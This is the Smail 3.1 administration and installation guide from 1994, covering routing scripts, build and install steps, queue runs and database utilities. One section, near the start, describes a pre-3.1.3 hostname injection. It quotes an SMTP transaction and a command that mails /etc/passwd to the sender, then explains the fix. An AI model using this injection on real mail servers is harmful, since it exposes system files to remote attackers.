_q_u_e_r_y_._s_h, to perform routing: #!/bin/sh # The hostname is passed as the first argument, write a path and # transport for each host that we match. Alternately, no transport is # output if the default is sufficient. case "$1" in \[*) # look for internet addresses in square brackets inet=`echo "$1" | sed -n 's/^\[\([0-9.]*\)\]$/[\1]/p'` if [ "$inet" ]; then echo $inet smtp else exit 1 fi;; foo) echo foo uusmtp;; bar) echo foo!bar uusmtp;; curds) echo curds;; whey) echo curds!whey;; *) echo foo!$1 uusmtp;; # send mail for unknown hosts to foo esac exit 0 This shell script outputs a path, with hostnames separated by the character `!', and may also write out a transport, separated from the path by space and tab characters. It can match literal internet addresses, stored in square brackets, and forwards mail for unknown hosts to the host ``foo''. A router file entry which can make use of this shell script is: # use query.sh to match hosts use_query: driver = queryprogram, # query a program for route info transport = uux; # use this as a default cmd = "/bin/sh $smail_lib_dir/query.sh ${lc:host}", domain = uucp, read_transport, read_path This entry assumes that the _q_u_e_r_y_._s_h script is stored under the same directory as smail utilities and run-time configu- ration files, normally _/_u_s_r_/_l_i_b_/_s_m_a_i_l. The shell script is executed as an unprivileged user. The above example can be used to point out something very important: security is difficult to maintain in an environment where shell scripts are executed as a result of requests from remote machines. As it currently stands, the example above can be used by a remote site to execute an arbitrary shell command on the local host, for sites running -8- versions of Smail previous to SSmmaaiill33..11..33. To do this, a remote user could send the following batched SMTP transac- tion: HELO foo@bar MAIL FROM: RPCT TO: DATA Send me the passwd file. . QUIT The problem here is that versions of smail previous to SSmmaaiill33..11..33 allow whitespaces in hostnames. Thus, for the recipient address above, the _q_u_e_r_y_._s_h shell script would have been invoked with a host of ``dummy pipe'' which would have caused the shell script to return the line: foo!dummy pipe uusmtp which would then have caused the ppiippee transport to be invoked to run the shell command: dummy!"`cat /etc/passwd | mail $SENDER`" The command in backquotes here would then cause your passwd file to be returned to the ``foo@bar''. The version of this script in the samples directory takes care of this problem by explicitly checking for whitespace in the hostname. Ver- sions of Smail starting with Smail3.1.3 explicitly allow only alphanumeric characters, and a small set of special characters (dot (`.'), dash (`-'), underscore (`_'), plus (`+') and equal (`=')), in hostnames. In addition, host- names are prohibited from beginning with a dash character. It should be noted that any characters are still allowed if the hostname begins with a left bracket. smail-doc/admin/install100644 3 3 73435 5575352573 13122 0ustar binbin 11.. SSmmaaiill IInnssttaallllaattiioonn PPrroocceedduurree The basic procedures for installing the SSmmaaiill33..11 pro- gram and its associated utilities require that you edit a small number of compile-time configuration files, build dependencies within all of the smail makefiles, and then build all of the executables and install them. Some sites will wish to include the additional step of writing run-time configuration files, which are described in a later section. 11..11.. TThhee SSoouurrccee RReelleeaassee When you receive a smail source release and install the sources under a directory, the following tree should exist: A plain text file describing the release and general installation procedures and giving the addresses of useful mailing lists. A directory in which a compati- bility library is generated containing functions that do not exist in your system's object libraries. A directory containing compile-time configuration files. A file that should be copied and edited to describe your machine and the locations in which various files can be found or should be installed. A directory which contains files describing vari- ous machine architectures, such as 32-bit archi- tectures with and without virtual memory, or 16 bit architectures with extended address spaces. A directory which contains files describing various possible driver configurations. These files define specifically which director, router and transport drivers are to be included in the smail binary. A directory which contains files describ- ing various operating systems to which smail has been ported. To as large an extent as is reason- able, operating system dependencies are described solely within these files. This directory con- tains shell commands and miscellaneous files used from smail makefiles to digest configuration information and build dependencies. A directory containing the source for the various smail guide documents. This directory contains the troff source for the _S_m_a_i_l _A_d_m_i_n_i_s_t_r_a_t_i_o_n _a_n_d _I_n_s_t_a_l_l_a_t_i_o_n _G_u_i_d_e. A file describing the history of smail releases, in terms of source reorganizations and the addition of new capabilities. A directory containing nroff sources for all man pages included in the ssmmaaiill33..11 release. Man pages for user commands. Man pages describing run-time configuration file formats. Man pages for administrative commands and other programs that are not intended to be run directly by users. A directory containing public domain sources that are used by the smail program or its associated utilities. A replacement for _/_b_i_n_/_m_a_i_l that traps mailer -2- requests and sends them to smail. This is for use by generic System V sites, and for other sites that are not already setup to call a mailer pro- gram. This is not normally installed. A public domain release of the System V ggeettoopptt library function. Also included is a getopt command which implements a super-set of the System V _g_e_t_o_p_t(1) command. The ppaatthhaalliiaass program by Steve Bellovin, as told to Peter Honeyman with additional modifi- cations suggested by Landon Noll. These sources will be used as a basis for pathalias version 10. An implementation of various string routines. These will be used for systems that do not already have these routines in an object library. A pro- gram for viewing map entries distributed through USENET in the newsgroup ccoommpp..mmaaiill..mmaappss. The source for the smail program. The sources for all director drivers distributed with smail. Director drivers handle the low level operations involved with aliasing, forwarding and the recognition of local user names. The sources for all routing drivers. Routing drivers handle the low level operations of finding routes to hosts or domains and binding remote addresses to specific transports. The sources for all trans- port drivers. Transport drivers perform the low level operations of mail delivery. The sources for various user and administrative utili- ties distributed with smail. 11..22.. CCoonnffiigguurriinngg SSmmaaiill ffoorr YYoouurr SSyysstteemm The first step in configuring smail is to copy the file _E_D_I_T_M_E_-_d_i_s_t, in the source directory _c_o_n_f, to the file _E_D_I_T_M_E in the same directory. As the name implies, you should then edit this file to describe your machine. This file is a shell script that is used to define variables such as what type of operating system you are using, the general class of architecture, and where particular data files and executables should reside. It is also used to describe, within a limited range, the default configuration to be used when the optional runtime configuration files do not exist. The _E_D_I_T_M_E file itself contains descriptions of all of the variables that can be defined in this file. We will not attempt to duplicate all of the information here, though a few pointers may be useful. 11..22..11.. DDeeffiinniinngg yyoouurr OOppeerraattiinngg SSyysstteemm The variable OS_TYPE defines the basename of a file which should describe your operating system. Possible val- ues for OS_TYPE are the names of files in the directory _c_o_n_f_/_o_s. If none of these files accurately describe your -3- system, then a new file should be created by copying the file _t_e_m_p_l_a_t_e to a new name and editing it as appropriate. If you port Smail to a new machine, we would appreciate receiving any patches that were required as well as the os file describing that machine. Any reasonable contributions may be included in future releases. 11..22..22.. DDeeffiinniinngg yyoouurr HHoossttnnaammeess There are a number of variables used to describe names for your machine. Usually, most of these variables will be left undefined, forcing smail to compute the names itself. Some variables that you may wish to change describe the domain namespaces in which your machine resides. Gateway hosts will often require more hostname information so that they can handle mail sent to the domains that they handle, rather than to a specific host within them. The most important variable to set is DOMAINS which describes the domains under which your host resides. SSmmaaiill33..11 will use a system-dependent algorithm for determin- ing the name for the local host, such as the _g_e_t_h_o_s_t_n_a_m_e(2) system call in a BSD operating system, or _u_n_a_m_e(2) under System V. The value of DOMAINS, in combination with the computed value for your machine's name, is used to form a list of fully qualified names for your host. For many sites in the UUCP zone, DOMAINS should simply be set to ``uucp'', while domain gateways may need to use multiple values, sepa- rated by colons, such as ``uts.amdahl.com:amdahl.com:uucp''. The first domain name in this list is special in that it is used in forming the primary (or _c_a_n_o_n_i_c_a_l) name for your machine. This name should be unique across all accessible networks. To understand the use of the DOMAINS variable, let's use the value that is used for the gateway machine to the domain aammddaahhll..ccoomm. The machine name for this gateway is aammddaahhll. Its value for DOMAINS is ``uts.amdahl.com:amdahl.com:uucp''. With this configura- tion, the primary name for the gateway is aammddaahhll..uuttss..aammddaahhll..ccoomm with other names being aammddaahhll..aammddaahhll..ccoomm and aammddaahhll..uuuuccpp.. Additional names can be given to your machine, unre- lated to the name smail computes for your host. This can be useful for gateways that wish to be recognized under the names of domains for which they are a gateway. The variable GATEWAY_NAMES should be set to this colon-separated list of alternate hostnames. As an example, the gateway host ``amdahl'' sets GATEWAY_NAMES to ``uts.amdahl.com:amdahl.com''. Thus, an address such as PPoossttmmaasstteerr@@aammddaahhll..ccoomm or PPoossttmmaasstteerr@@uuttss..aammddaahhll..ccoomm will reach a responsible person rather than being rejected. -4- As a final note on defining host names, the variable VISIBLE_NAME can be used to define the host name used in addresses referring to the local host. This name will be used by in contexts where the canonical name is not required by DDN standards and can be used to group a collection of machines under a domain. When resolving addresses, the VIS- IBLE_NAME string is not matched as a local hostname unless it also appears in either HOSTNAMES or GATEWAY_NAMES. For example, most suns within the uuttss..aammddaahhll..ccoomm domain set VISIBLE_NAME to ``uts.amdahl.com''. Mail originating from cchhoonnggoo on a Sun named eeeekk would appear to have been sent from cchhoonnggoo@@uuttss..aammddaahhll..ccoomm, rather than from cchhoonnggoo@@eeeekk..uuttss..aammddaahhll..ccoomm. The domain gateway knows where the user cchhoonnggoo wishes to receive his mail. Thus, replies to mail sent from eeeekk will be returned directly to cchhoonnggoo's mailbox rather than passing back through eeeekk. 11..22..33.. DDiirreeccttoorriieess ffoorr DDaattaa FFiilleess aanndd EExxeeccuuttaabblleess As distributed, programs intended to be run by users will be installed under the directory _/_u_s_r_/_l_o_c_a_l, while pro- grams intended to be run only from cron jobs or from other smail programs will be installed under _/_u_s_r_/_l_i_b_/_s_m_a_i_l. Con- figuration files will also be searched for under _/_u_s_r_/_l_i_b_/_s_m_a_i_l. In addition, spool and log files will be placed in a hierarchy under _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l. These loca- tions can be changed by setting the variables SMAIL_BIN_DIR, LIB_DIR and SPOOL_DIRS . As the name implies, SPOOL_DIRS can contain more than one directory name. This can be used to define multiple spool directory hierarchies. When a new message comes in, an attempt is made to write it into the first hierarchy in this list. If the file cannot be written, the next hierar- chy is tried, then the next and so on until the spool file is written or no more directory names exist in the list. For example, with a value of ``/usr/spool/smail:/usr2/spool/smail,'' if the filesystem containing _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l fills up or runs out of _I-nodes, an attempt is made to write a spool file under _/_u_s_r_2_/_s_p_o_o_l_/_s_m_a_i_l instead. Only if this second filesystem is also filled up will smail give up in trying to spool the message. Some other path names that you may wish to change are: the pathname used by smail utilities in executing the mailer. Normally, this will be _/_u_s_r_/_l_i_b_/_s_e_n_d_m_a_i_l which is where Berkeley commands and utilities expect the mailer to reside, and where many public domain programs also expect the mailer to reside. miscellaneous full pathnames under which smail will be installed. _/_b_i_n_/_r_m_a_i_l should be in this list, to trap mail coming in over uucp. _/_b_i_n_/_r_s_m_t_p can also be in this list. When invoked under this name, batched SMTP -5- commands will be read from standard input, allowing SMTP to be used over UUCP between cooperating hosts running smail. an alternate pathname for the mmkkaalliiaasseess utility, which pro- cesses an alias file for use by an _a_l_i_a_s_f_i_l_e director. By installing it as nneewwaalliiaasseess, some compatibility can be main- tained with the sseennddmmaaiill utility of the same name. The pri- mary difference is that the new version is not set-uid and cannot be safely made so. Thus, users which do not have write access to the directory containing the aliases file cannot use this command. the pathname of the primary alias- ing file. This is the file that is processed by the mmkkaalliiaasseess utility. It is also the only alias file defined in the default smail configuration. To maintain compatibil- ity with sseennddmmaaiill under 4.2BSD and 4.3BSD, this should be set to ``/usr/lib/aliases''. However, you may wish to have this file under LIB_DIR with the other smail configuration files. This can be done by setting it simply to ``aliases''. 11..33.. BBuuiillddiinngg tthhee SSmmaaiill PPrrooggrraamm aanndd UUttiilliittiieess After EDITME and other compile-time configuration files have been adjusted (see the section CCoonnffiigguurriinngg SSmmaaiill ffoorr YYoouurr SSyysstteemm) you are ready to start the build. The first step in building the smail program and utilities on your machine is to generate all of the _M_a_k_e_f_i_l_e dependencies. This step will allow you to modify compile-time configura- tion files and header files without worrying about which compilations will depend on them. This information will be stored in the Makefiles that need them. To generate these dependencies, use the command: make depend at the top of the smail source hierarchy. This will take a while, so you may wish to send the standard output and stan- dard error to a file and put the command in background. This can be done in the Bourne or Korn Shell with the com- mand: make depend > mkdep.out 2>&1 & In the C-shell, use the command: make depend >& mkdep.out & You can watch the progress of the operation with the com- mand: tail -f mkdep.out When the dependencies have been built, build all of the exe- cutables with the command: -6- make On an Amdahl 5890 this takes two minutes or more depending upon machine load. For other machines, this may take between a half hour and two hours. 11..44.. VVeerriiffyyiinngg tthhee SSmmaaiill PPrrooggrraamm It is a good idea to verify that the smail program works before actually installation it and the utilities around it. A simple way to do this is to run some commands. To start out, try the command: src/smail -bv -v _y_o_u_r_-_n_a_m_e@_l_o_c_a_l_-_h_o_s_t Here _y_o_u_r_-_n_a_m_e should be your login name on the local host, and _l_o_c_a_l_-_h_o_s_t should be a name for the local host. This should produce the following output: director user matched user _y_o_u_r_-_u_s_e_r _y_o_u_r_-_u_s_e_r ... deliverable Next, become superuser (rroooott on most UN*X machines) and try the command: src/smail -v _y_o_u_r_-_n_a_m_e This should produce output such as: make directory /usr/spool/smail make directory /usr/spool/smail/input new spool file is /usr/spool/smail/input/0dMgpi-000089 Next give a message on standard input such as: Subject: This is a first test of Smail3.1 *hi mom, please send money* . The dot, on a line by itself, will terminate the message. Sending an end of file character will also suffice. This should produce: make directory /usr/spool/smail/log write_log:new msg: from _y_o_u_r_-_u_s_e_r director user matched user _y_o_u_r_-_u_s_e_r transport local uses driver appendfile write_log:_y_o_u_r_-_u_s_e_r ... delivered make directory /usr/spool/smail/msglog Note that smail creates any directories that it requires, if -7- they do not already exist. You should now have mail. If all of this worked, then there is probably nothing seriously wrong with the smail program itself. 11..55.. IInnssttaalllliinngg tthhee PPrrooggrraammss When you are satisfied that the setup appears to be okay, try installing the programs on your machine by becom- ing superuser and executing the command: make install This will create any required directories and will copy the binaries and a small number of data files into their final locations. The installation process will create the follow- ing: ggeettoopptt, ppaatthhaalliiaass, mmaakkeeddbb, aarrppaattxxtt, mmkklliinnee, mmkkssoorrtt, ddccaasseehhoosstt, mmkkddbbmm, mmkkppaatthh, mmkkhhppaatthh, mmkkuuuuwwhhoo, ppaatthhmmeerrggee, cchheecckkeerrrr, ssaavveelloogg, ggeettmmaapp, gglleeeemm, and uunnsshhaarrmmaapp. Also copied into the LIB_DIR directory are the files _m_k_p_a_t_h_._a_w_k, _m_k_u_u_w_h_o_._a_w_k and _m_k_p_a_t_h_._s_e_d which are used by some of the above programs, and the file _C_O_P_Y_I_N_G which states your rights and responsibilities in further distribution of the smail programs. uuuuwwhhoo and mmkkaalliiaasseess. Also, the smail binary is linked to the names ssmmaaiill, mmaaiillqq, ppaatthhttoo, ooppttttoo, uuuuppaatthh, rruunnqq and rrssmmttpp. The smail binary will also be copied to whatever was named in the _E_D_I_T_M_E file as the SMAIL_NAME. Normally, this will be _/_u_s_r_/_l_i_b_/_s_e_n_d_m_a_i_l. It will also be copied to any pathnames listed in OTHER_SMAIL_NAMES, such as _/_b_i_n_/_r_m_a_i_l or _/_b_i_n_/_r_s_m_t_p. Also, if you defined a value for NEWALIASES in the _E_D_I_T_M_E file, such as _/_u_s_r_/_l_o_c_a_l_/_b_i_n_/_n_e_w_a_l_i_a_s_e_s, then the mmkkaalliiaasseess program will be copied to that name. All of the copies of the smail binary will be owned by root and have the set-uid bit set. SSmmaaiill33..11 has been designed so that it does not need to run as root, though this creates the potential for a a variety of trojan horse attacks which must be carefully handled through configura- tion files. It is generally easier to install smail as a setuid to root program so that the potential for trojan horse attacks is more easily managed. The current implementation of mmkkaalliiaasseess is a Bourne shell script which cannot be made secure as a setuid pro- gram. Thus, only users that can write to the directory con- taining the aliases file can successfully run this program. This behavior is incompatible with the nneewwaalliiaasseess program distributed with Berkeley's sseennddmmaaiill program. This is expected to change in a future release. -8- 11..66.. SSmmaaiill QQuueeuuee RRuunnss When messages block for some reason and smail decides that it would be best to retry deliver at a later time, mes- sages will be left in the _i_n_p_u_t spool directory. In order to reattempt delivery, a smail process must scan through this directory at intervals looking for work. This can either be accomplished by starting up one smail process that scans for work, sleeps for a set time period, and then scans again, or _c_r_o_n(8) can be used to start up a process to scan for work. To startup a single smail process that scans for work at intervals, execute the following command from your machine's _/_e_t_c_/_r_c file: /usr/lib/sendmail -q20m This will scan for work every twenty minutes. To scan for work once per hour use an argument of --qq11hh instead. This command will automatically put itself in background, so you do not need to use an ampersand after the command. To execute smail periodically from cron, use a line such as: 0,20,40 * * * * /usr/lib/sendmail -q Each invocation of smail with this command will perform exactly one scan through the _i_n_p_u_t spool directory, which will be done in foreground. Systems using the SSyysstteemm VV cron program can safely put this in the crontab file for rroooott, or in any other crontab file. Sites running the 4.3BSD version of cron can put a line in _/_u_s_r_/_l_i_b_/_c_r_o_n_t_a_b such as: 0,20,40 * * * * root /usr/lib/sendmail -q 11..77.. LLiisstteenniinngg ffoorr SSMMTTPP RReeqquueessttss If your site supports Berkeley networking, then you can use smail to process interactive SMTP requests. This can be done either from a non-exiting smail daemon, or from the 4.3BSD or Sun _i_n_e_t daemon. The decision as to whether to use a smail daemon, or the inet daemon depends upon how much mail passes through your site and whether or not you can always spare 300K of virtual memory. To invoke a smail daemon at system boot time, execute the following command from _/_e_t_c_/_r_c: -9- /usr/lib/sendmail -bd This can be combined with the --qq flag described in the pre- vious section, so executing the command: /usr/lib/sendmail -bd -q20m will handle listening for SMTP connection requests and the processing of the _i_n_p_u_t directory at intervals. To invoke smail from the 4.3BSD _i_n_e_t_d program, put the following line in _/_e_t_c_/_i_n_e_t_d_._c_o_n_f: smtp stream tcp nowait root /usr/local/smtpd smtpd If _s_m_t_p_d was installed in a different directory, use what- ever is appropriate in place of _/_u_s_r_/_l_o_c_a_l_/_s_m_t_p_d. To invoke smail from the SunOS _i_n_e_t_d program, put the following line in _/_e_t_c_/_s_e_r_v_e_r_s: smtp tcp /usr/local/smtpd If you have some other form of networking connection that can be used to create a bi-directional interactive con- nection, you can use the _s_m_t_p_d program, or the command _/_u_s_r_/_l_i_b_/_s_e_n_d_m_a_i_l _-_b_s to receive SMTP requests over that bi- directional connection. 11..88.. CClleeaanniinngg UUpp AAfftteerr SSmmaaiill Smail creates log files. If log files are not trun- cated in a reasonable manner, then they will eventually fill up all available space. To handle log file truncation, a shell script, _s_a_v_e_l_o_g is provided to cycle a log through a set of files, where no more than a set number of files are kept. As an example, the command: /usr/lib/smail/savelog /usr/spool/smail/log/logfile will rename the smail log file to _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_O_L_D_/_l_o_g_f_i_l_e_._1. If this file already exists, it will be renamed to _l_o_g_f_i_l_e_._2 before the original logfile is renamed, and so on up to _l_o_g_f_i_l_e_._7. Whenever _l_o_g_f_i_l_e_._6 is renamed to _l_o_g_f_i_l_e_._7, this last file is simply removed. If the _c_o_m_p_r_e_s_s program is available, then _l_o_g_f_i_l_e_._2 through _l_o_g_f_i_l_e_._7 are kept in a compressed form with an extension of _._Z. Different compression programs may also be used, generating logfiles with different extensions. Running the above savelog command from cron once per day will thus keep the last seven days worth of logfile -10- data, much of it in a compressed form. Occasionally, smail will run into a problem that requires the attention of a mail administrator. An example of this is an error in the configuration files. Rather than continually retrying a message and continually failing, mes- sages are moved into an _e_r_r_o_r directory under the spool directory hierarchy. The utility cchheecckkeerrrr can be called from cron to check up on this directory at intervals, and send a report on newly failed messages to the address PPoosstt-- mmaasstteerr. This script should be run periodically, perhaps once per day, under a user that can write to the _e_r_r_o_r spool directory. Normally, this requires that it run as root, though the _c_h_o_w_n(1) command can be used to assign this directory to an alternate user. smail-doc/admin/intro100644 3 3 12270 5575352605 12571 0ustar binbin SSmmaaiill -- IInnssttaallllaattiioonn aanndd AAddmmiinniissttrraattiioonn GGuuiiddee _R_o_n_a_l_d _S_. _K_a_r_r _<_t_r_o_n_@_u_t_s_._a_m_d_a_h_l_._c_o_m_> _L_a_n_d_o_n _C_u_r_t _N_o_l_l _<_c_h_o_n_g_o_@_u_t_s_._a_m_d_a_h_l_._c_o_m_> Amdahl Corp. 1250 E. Arques Ave. Sunnyvale, CA 94088-3470 _A_B_S_T_R_A_C_T SSmmaaiill33..11 is a router and transport agent for mail. It receives mail messages and recipient addresses from local users and remote hosts, routes mail destined for remote hosts, performs alias and forwarding transformations on local addresses and performs delivery. SSmmaaiill can be used in any networking environment that expects mail to conform to the DDN mail format standards; for example, the ARPAnet, CS-Net and the interna- tional UUCP network. The mailer can be used to route mail between any number of conforming networks, and can use a variety of methods for determining the namespace on those networks and performing delivery. The three mutually orthogonal operations of aliasing, host routing and transport are all handled in a consistent manner with consistent configuration file formats and C language drivers to implement the basic capabilities. A number of tools are included in the smail distribution which are useful in building, main- taining and displaying databases. Some of these tools operate on databases used by the mailer itself. Others are useful for users and site administrators. This paper describes the ssmmaaiill installation procedure, the methodologies to use in construct- ing configurations, tools for building databases, and administration concerns that must be addressed. 8 June 1994 SSmmaaiill -- IInnssttaallllaattiioonn aanndd AAddmmiinniissttrraattiioonn GGuuiiddee _R_o_n_a_l_d _S_. _K_a_r_r _<_t_r_o_n_@_u_t_s_._a_m_d_a_h_l_._c_o_m_> _L_a_n_d_o_n _C_u_r_t _N_o_l_l _<_c_h_o_n_g_o_@_u_t_s_._a_m_d_a_h_l_._c_o_m_> Amdahl Corp. 1250 E. Arques Ave. Sunnyvale, CA 94088-3470 11.. IInnttrroodduuccttiioonn The ssmmaaiill33..11 program and its associated utilities were developed to provide an extensible mailer that conforms to the DDN mail format standards in the ARPAnet _R_e_q_u_e_s_t _F_o_r _C_o_m_m_e_n_t documents RFC822, RFC920 and RFC976. It can also accept and transmit mail conforming to the transmission envelope format standard described in RFC821. A major design goal was to provide extensibility in the methods employed for resolving local and remote addresses, and in the methods used for performing mail delivery. This extensibility is provided through drivers that provide basic services on the level of C language subroutines, and run- time configuration files which define parameters that spec- ify how these drivers are to used. The run-time configura- tion files are not required, and if they do not exist then pre-loaded configurations are used. This allows many sites to operate with no run-time configuration files. Another goal was to provide a reliable mail service that was tolerant of system crashes and capable of recover- ing from configuration errors. To a limited extent, smail was also designed to recover from file systems that run out of space, and from log files that cannot be opened or writ- ten to. In addition to these and other goals, we felt that it was also important that ssmmaaiill be compatible with the exter- nal interface of the Berkeley sseennddmmaaiill program. This com- patibility applies to the command line options, to as large an extent as was feasible, but does not apply to either the internal operation or the configuration file formats. Indeed the configuration files for ssmmaaiill and for sseennddmmaaiill differ not only in their format, but also in their philoso- phy and in what they describe. The sseennddmmaaiill configuration files describe a syntax-directed model of recipient address routing, while the ssmmaaiill configuration files describe a database model of recipient address routing, and local address matching and expansion. smail-doc/admin/utilities100644 3 3 31557 5575352622 13461 0ustar binbin 11.. BBaassiiccss ooff UUssiinngg tthhee SSmmaaiill UUttiilliittiieess There are a fairly large number of utility programs that are included in the SSmmaaiill33..11 release. Most of these utilities are useful in creating, maintaining and displaying databases which can be used by smail for directing and rout- ing. These database manipulation tools are layered such that a small set of low-level utilities are available for creating databases in various formats, such as sorted files or DBM files (using the _d_b_m(3X) library). In addition, the mmkklliinnee and ppaatthhaalliiaass tools can be used in formatting raw alias and path data for use by the database creation tools. Built on top of these lower level tools are configuration- driven tools such as mmkkaalliiaasseess and mmkkppaatthh, which handle things at a higher level. Most of these smail utilities are installed under the smail library directory, which is normally _/_u_s_r_/_l_i_b_/_s_m_a_i_l. 11..11.. BBuuiillddiinngg SSiimmppllee DDaattaabbaasseess Sorted databases, and _d_b_m-based databases, can be used by smail directors based on the aliasfile driver or by routers based on the pathalias driver. The first command to know about when creating these databases is mmkklliinnee. This command takes an alias file or path file as input, strips comments and unnecessary white-space, and joins continuation lines. For example, given the alias file: # Sample alias file Postmaster: tron@futatsu # Ronald S. Karr chongo@eek # Landon Noll uucp: gam@woof# Gordon Moffett the mmkklliinnee command would produce, on its standard output: Postmaster:tron@futatsu chongo@eek uucp:gam@woof By removing comments and continuation lines, programs that create databases can read single line records. Sorted databases can be created using either the ssoorrtt command or the smail mmkkssoorrtt utility. MMkkssoorrtt does not have any line length restrictions, and can thus be used for aliases and paths containing arbitrarily large records. It does require the ability to read all of its input files into memory. In addition, some versions of the ssoorrtt command are reported to have a bug related to the use of the --ff flag, for performing case-independent sorting. To creat a sorted version of the alias file listed above, use the following -2- command: mkline _a_l_i_a_s_f_i_l_e | mksort -f > _a_l_i_a_s_f_i_l_e.sort Here, _a_l_i_a_s_f_i_l_e is the pathname containing the file of interest. The --ff flag performs a sort in a case-independent manner, as required for the smail bbsseeaarrcchh file lookup method. This command line could also be used to create a sorted paths file. Smaller systems may wish to use ssoorrtt to avoid high memory usage, or errors due to running out of memory. Path files can be quite large. DBM databases can be created using the mmkkddbbmm utility. To create a database can be used by the smail ddbbmm file lookup method, for aliasfile directors and pathalias routers, use a command such as: mkline _f_i_l_e | mkdbm -f -o _n_a_m_e where _f_i_l_e is the source text for the database and _n_a_m_e is the name for the DBM database. This will create two files, _n_a_m_e.pag and _n_a_m_e.dir containing the actual data. The --ff flag causes the keys to be converted to lower case before being stored in the database. Rather than require that you enter a complex command every time you have changed the primary _a_l_i_a_s_e_s file, the mmkkaalliiaasseess utility exists to do this for you. It uses the configuration defined in the EDITME file to determine how your aliases file is to be built, and where it is to be found, and builds it for you. For example, if your alias database is stored as a DBM file with a name of _/_u_s_r_/_l_i_b_/_a_l_i_a_s_e_s, then the command mkaliases will execute the shell command: mkline /usr/lib/aliases | mkdbm -f -v -o /usr/lib/aliases 11..22.. BBuuiillddiinngg PPaatthh DDaattaabbaasseess Quite often, the building of path databases is more complex than taking one file and running it through a mkline|mksort or a mkline|mkdbm pipeline. Map data is often used, which must be processed by the ppaatthhaalliiaass program to produce paths. As well, this map data can come from a vari- ety of sources, both from map data published monthly in the USENET newsgroup ccoommpp..mmaaiill..mmaappss and from private sources, such as maps of local area networks, or a private map entry for the local host. -3- The mmkkppaatthh utility is used to organize the path build- ing process. It takes a configuration file, describing where map files can be found, along with directives control- ling other data, and feeds all of this to pathalias. It produces paths on the standard output. An example of a configuration file for mkpath is the following file, _w_o_r_l_d_._c_o_n_f: # get the usenet world maps cd /usr/spool/uumaps safemap d.* safemap u.* # merge in the new maps cd /usr/lib/smail/maps safemap newmap/*.map # merge in our external map delete `uuname -l` map world.map private.map tweak.map The configuration file above takes map files beginning with _d_. and _u_. from the directory _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s, and map files under _/_u_s_r_/_l_i_b_/_s_m_a_i_l_/_m_a_p_s_/_n_e_w_m_a_p. These map files are sent as input to pathalias, the name of the local host is deleted from the connectivity information that pathalias has collected, and then the files _w_o_r_l_d_._m_a_p, _p_r_i_v_a_t_e_._m_a_p and _t_w_e_a_k_._m_a_p are sent to pathalias. The reason for deleting the local host connectivity information is that links from the local host should not be determined based on information in the maps published by other sites. After processing all of this, a sorted list of path file entries is written to the standard output. The above configuration file could be used to create a sorted paths file using the command: mkpath world.conf > world.path A complete set of examples is distributed with smail in the source directory _s_a_m_p_l_e_s_/_a_m_d_a_h_l_/_m_a_p_s. 11..33.. SSttoorriinngg aanndd DDiissppllaayyiinngg IInnffoorrmmaattiioonn aabboouutt HHoossttss The uuuuwwhhoo command can be used by users or site adminis- trators to get a listing of the map entry for a known site. It makes use of a database which is formed by the mmkkuuuuwwhhoo command. Mkuuwho takes a mkpath configuration file and pro- duces a database which associates each site name with the location of the map entry for that site. The mkpath config- uration file is used only for determining where the map files are to be found. With the configuration file used above as an example for mmkkppaatthh, the following command can be used to create an -4- accompanying uuwho database: mkuuwho -u uuwho world.conf This will create a DBM database, in the files _u_u_w_h_o_._p_a_g and _u_u_w_h_o_._d_i_r. After the database is created, the command: uuwho foobar could be used to display a map entry such as: System name: foobar Organization: Foo Bar, Inc. System type: pdp 11/45, v6 modified Contact person: Joe Stud, III Email Address: foobar!stud3 Telephone: +1 605 555 2175 Postal Address: Foo Bar, Inc., Wall SD 57790 Long/Lat: 44 00 43 N / 102 19 59 W News links: namei glotz hoptoad kgbvax kremvax # # upstream sites foobar glotz(HOURLY+LOW), namei(HOURLY+HIGH) # # downstream sites foobar kgbvax(HOURLY*4), kremvax(HOURLY*4) # # our alt.drugs feed foobar hoptoad(DAILY) 11..44.. EExxttrraaccttiinngg MMaappss FFrroomm UUSSEENNEETT The ggeettmmaapp utility can be used to extract map entries from the maps published in the USENET newsgroup ccoommpp..mmaaiill..mmaappss. To use this utility with netnews version 2.11, for automated map extraction, first put the following line into your news _s_y_s file: maps:comp.mail.maps,world:F:/usr/spool/uumaps/work/batch This line will cause netnews to put a line in _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_b_a_t_c_h every time an article is posted to the ccoommpp..mmaaiill..mmaappss newsgroup. This line contains the pathname to the article file. Periodically, the ggeettmmaapp utility can be executed to process the _b_a_t_c_h file, extracting any map data that has been received. Getmap should be executed from cron under a user and group that can write to the map directory, _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s. It will mail any errors to the address ppoossttmmaasstteerr. The period of execution should preclude the -5- loss of any map data as a result of a articles being expired, but does not necessarily need to be daily. 11..55.. SSmmaaiill CClleeaannuupp UUttiilliittiieess As discussed in a previous section, the utilities cchheecckkeerrrr and ssaavveelloogg exist to clean up after smail. The cchheecckkeerrrr utility checks for processing errors, sending errors to the mail administrator whenever they are found. The ssaavveelloogg utility can be used to perform log truncation and compression, so that the filesystem containing the smail logfile does not eventually fill up. Both of these utili- ties should be executed on a daily basis from cron. The ggeettmmaapp utility also keeps a log of its activities, in the file _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_g_e_t_m_a_p_._l_o_g. Sites that use this utility to extract maps from USENET should use the ssaavveelloogg utility to truncate and compress this log as well. However, this should not grow very quickly, so a running the necessary savelog command on a monthly basis is reasonable, particularly since this is the period over which map data is published. smail-doc/man1/ 40755 3 3 0 5575353161 11136 5ustar binbinsmail-doc/man1/pathto100644 3 3 22351 5575353125 12500 0ustar binbin PATHTO(1) PATHTO(1) NNAAMMEE pathto, uupath - calculate mail paths SSYYNNOOPPSSIISS ppaatthhttoo [ --ttddnnssvv ] _a_d_d_r_e_s_s ... uuuuppaatthh [ --ttssvv ] [ _s_i_t_e_n_a_m_e|_d_o_m_a_i_n|_p_a_t_h ] _._._. DDEESSCCRRIIPPTTIIOONN These commands query the mail routing databases to deter- mine which paths will be used in sending mail to the spec- ified hosts or addresses. The _p_a_t_h_t_o(1) command takes the address of a user and determines the path that _s_m_a_i_l(8) would use for delivery. For historical reasons, the resulting path is rewritten as a UUCP-style `!'_-_p_a_t_h by default, even though this form may not be used by smail for delivery. The leading site- name in the path is the site towards which _s_m_a_i_l(8) will make a delivery. The leading 